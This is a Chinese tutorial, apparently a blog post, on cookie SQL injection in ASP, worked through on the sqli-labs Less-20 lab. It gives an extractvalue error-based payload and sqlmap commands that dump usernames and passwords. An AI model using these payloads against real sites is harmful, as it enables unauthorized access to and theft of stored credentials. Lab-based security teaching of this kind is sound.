Cookie注入原理
在ASP中,Request对象获取客户端提交数据常用的两种方法是GET和POST,此外,Request对象可以直接使用Request(“name”),不通过集合来获得数据(缺点是效率低下,容易出错)。
当我们省略具体的集合名称时,ASP按照QueryString(GET),Form(POST),Cookie,Severvariable集合的顺序来搜索。
Cookie是保存在客户端的一个文本文件,可以进行修改,这样我们就可以利用Request.Cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击。
当我们使用Cookie注入时需要的条件:
- 服务器端对GET、POST提交方式进行了过滤,但是对Cookie的数据没有进行过滤。
- 服务器端是使用Request方式获取客户端提交的数据的。
此时我们可以进行Cookie注入,也就是把参数按照Cookie的方式进行提交。
Cookie注入详解
以Less-20为例讲解Cookie注入的原理。
用户名输入admin,密码输入admin,点击submit。
使用火狐浏览器的TamperDate插件拦截我们的请求流量,可以看到在Cookie一栏为uname=admin。
修改cookie为:
admin’ and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
点击确定。
注意:extractvalue()为报错注入的一种利用函数。
可以看到浏览器显示报错,同时我们得到了 mysql 的路径。
sqlmap Cookie注入
HTTP cookie头
参数:–cookie,–load-cookies,–drop-set-cookie
这个参数在以下两个方面很有用:
1、web应用需要登陆的时候。
2、你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。
探测等级
参数:–level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
测试是否可以cookie注入
C:\Python27\sqlmap>python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-20/index.php” –cookie “uname=admin” –level 2
枚举当前数据库
C:\Python27\sqlmap>python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-20/index.php” –cookie “uname=admin” –level 2
–current-db
枚举表
C:\Python27\sqlmap>python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-20/index.php” –cookie “uname=admin” –level 2 -C “security” –tables
枚举列
C:\Python27\sqlmap>python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-20/index.php” –cookie “uname=admin” –level 2 -D “security” -T “users” –columns
枚举字段
C:\Python27\sqlmap>python sqlmap.py -u “http://127.0.0.1/sqli-labs/less-20/index.php” –cookie “uname=admin” –level 2 -D “security” -T “users” -C “username,password” –dump
本文介绍了ASP环境下Cookie注入的原理及实现方法,详细解释了如何利用未过滤的Cookie数据进行SQL注入攻击。并通过实例演示了使用sqlmap工具进行Cookie注入的过程,包括枚举数据库、表、列和字段。

被折叠的 条评论
为什么被折叠?



